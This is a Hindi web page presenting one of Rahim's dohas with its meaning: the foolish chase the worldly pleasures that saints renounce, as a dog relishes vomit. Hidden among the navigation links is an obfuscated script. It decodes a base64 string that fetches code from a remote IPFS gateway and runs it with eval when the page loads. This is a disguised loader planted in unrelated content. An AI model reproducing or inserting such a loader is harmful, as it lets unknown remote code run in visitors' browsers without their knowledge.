जो विषया संतन तजी -रहीम

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

जो विषया संतन तजी, मूढ़ ताहि लपटात ।
ज्यों नर डारत वमन कर, स्वान स्वाद सों खात ॥

अर्थ

संतजन जिन विषय-वासनाओं का त्याग कर देते हैं, उन्हीं को पाने के लिए मूढ़ जन लालायित रहते हैं। जैसे वमन किया हुआ अन्न कुत्ता बड़े स्वाद से खाता है ।


पीछे जाएँ
रहीम के दोहे
आगे जाएँ
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख